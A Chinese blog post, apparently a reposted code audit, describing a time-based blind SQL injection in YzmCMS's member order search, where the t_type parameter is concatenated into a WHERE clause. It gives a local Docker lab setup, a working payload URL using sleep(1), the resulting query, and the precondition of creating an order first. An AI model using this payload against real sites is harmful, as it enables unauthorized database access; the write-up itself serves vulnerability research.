某CMS代码审计

来源

https://www.yzmcms.com/xiazai/

下载最新版的源码,本地起一下环境

docker run -it -d --name mysql_dev -p 3307:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.6 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci

docker run -d -p 80:80 --link mysql_dev -v $(pwd):/var/www/html suanve/php:7-apache

用户模块时间盲注

application/member/controller/order.class.php:76行

这里直接拼接了where条件,type这里就有问题

构造url

http://127.0.0.1/member/order/order_search.html?of=id&or=DESC&dosubmit=1&&t_type=sleep(1)

调试跟一下可以看到如果传入的是数组会手动拆分进行预编译处理,但是我们这里是str 不是数组 所以就直接跳过处理


直接带入数据库,完成sleep

看了下语句发现这里利用的时候有一个小问题,首先这里是查数据数,在该表没数据的情况下是不会sleep的,所以要先在yzm_order中插入一条数据。
image-20200630154528899.png

SELECT COUNT(*) AS total FROM `yzmcms` . `yzm_order` WHERE 1=1 AND `type` = sleep(1);

使用在线充值,会产生一条订单的数据

在没有配置支付的情况下会报错,但是这个订单是创建了。


这样就可以执行sleep了

时间注入

后话

这个cms会员功能默认关闭的,所以这个洞蛮鸡肋的,

原文地址:https://www.cnblogs.com/0daybug/p/13303590.html